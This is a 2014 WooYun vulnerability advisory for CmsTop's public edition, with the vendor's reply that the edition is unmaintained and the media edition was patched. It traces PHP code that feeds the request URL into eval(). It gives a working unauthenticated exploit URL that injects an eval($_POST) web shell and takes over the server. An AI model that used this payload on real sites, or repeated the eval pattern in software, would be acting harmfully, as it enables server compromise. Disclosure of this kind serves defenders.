当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-054693

漏洞标题:cmstop 远程代码执行漏洞(大众版)

相关厂商:CmsTop

漏洞作者: 狗狗侠

提交时间:2014-03-27 12:02

修复时间:2014-06-22 12:03

公开时间:2014-06-22 12:03

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-27: 细节已通知厂商并且等待厂商处理中
2014-03-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-05-21: 细节向核心白帽子及相关领域专家公开
2014-05-31: 细节向普通白帽子公开
2014-06-10: 细节向实习白帽子公开
2014-06-22: 细节向公众公开

简要描述:

详细说明:

具体代码分析
在search\controller\index.php中
search方法如下
public function search( )
{
session_start( );
$limit = setting( "search", "limit" );
if ( $limit )
{
if ( $_SESSION['last_search'] && TIME - $_SESSION['last_search'] < $limit )
{
$this->showmessage( "搜索太频繁,请稍候再搜索" );
}
$_SESSION['last_search'] = TIME;
}
$GLOBALS['_GET']['wd'] = preg_replace( "/\\s+/", " ", trim( $_GET['wd'] ) );
if ( empty( $_GET['wd'] ) )
{
$this->showmessage( "请输入搜索关键词" );
}
$data = $this->search->search( $_GET );
$multipage = $this->search->getPagin( ); //漏洞点,跟踪该对象
$this->template->assign( "wd", $_GET['wd'] );
$this->template->assign( "data", $data );
$this->template->assign( "multipage", $multipage );
$this->template->display( "search/list.html" );
}
在\search\model\search.php中找到
public function getPagin( )
{
$requestUrl = request::get_url( );
$page = $_GET['page'] ? $_GET['page'] : 1;
$multipage = pages( $this->total, $page, $this->pagesize, 3, $requestUrl ); //跟踪pages方法
return $multipage;
}
在framework\core\function.php中找到pages函数,跟踪pages_url()函数
function pages($total, $page = 1, $pagesize = 20, $offset = 2, $url = null, $mode = false)
{
if($total <= $pagesize) return '';
$page = max(intval($page), 1);
$pages = ceil($total/$pagesize);
$page = min($pages, $page);
$prepage = max($page-1, 1);
$nextpage = min($page+1, $pages);
$from = max($page - $offset, 2);
if ($pages - $page - $offset < 1) $from = max($pages - $offset*2 - 1, 2);
$to = min($page + $offset, $pages-1);
if ($page - $offset < 2) $to = min($offset*2+2, $pages-1);
$more = 1;
if ($pages <= ($offset*2+5))
{
$from = 2;
$to = $pages - 1;
$more = 0;
}
$str = '';
$str .= '<li><a href="'.pages_url($url, $prepage, $mode).'">上一页</a></li>';
$str .= $page == 1 ? '<li><a href="'.pages_url($url, 1, $mode).'" class="now">1</a></li>' : '<li><a href="'.pages_url($url, 1, $mode).'">1'.($from > 2 && $more ? '...' : '').'</a></li>';
if ($to >= $from)
{
for($i = $from; $i <= $to; $i++)
{
$str .= $i == $page ? '<li><a href="'.pages_url($url, $i, $mode).'" class="now">'.$i.'</a></li>' : '<li><a href="'.pages_url($url, $i, $mode).'">'.$i.'</a></li>';
}
}
$str .= $page == $pages ? '<li><a href="'.pages_url($url, $pages, $mode).'" class="now">'.$pages.'</a></li>' : '<li><a href="'.pages_url($url, $pages, $mode).'">'.($to < $pages-1 && $more ? '...' : '').$pages.'</a></li>';
$str .= '<li><a href="'.pages_url($url, $nextpage, $mode).'">下一页</a></li>';
return $str;
}
无需登录
一键取shell
危害大至站长网 下至人人 以及一些大型新闻站点
在function.php中找到pages_url 函数
function pages_url($url, $page, $mode = false)
{
if (!$url) $url = URL;
if (strpos($url, '$page') === false)
{
$url = url_query($url, array('page'=>$page), $mode);
}
else
{
eval("\$url = \"$url\";"); //最终产生远程任意代码执行
}
return $url;
}
当url存在$page的时候就执行 eval("\$url = \"$url\";") ,这样当我们构造恶意url即可执行我们的任意代码
如当我们访问如下链接
http://app.xxx.com/?app=search&controller=index&id=$page&action=search&wd=a&test=${@eval($_POST[xxxx])}
即可远程直接控制web服务器

漏洞证明:

http://app.xxx.com/?app=search&controller=index&id=$page&action=search&wd=a&test=${@eval($_POST[xxxx])}

修复方案:

版权声明:转载请注明来源 狗狗侠@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-06-22 12:03

厂商回复:

改漏洞在大众版存在,大众版已经于2011年停止维护更新。
媒体版该漏洞2013年已修复。

最新状态:

暂无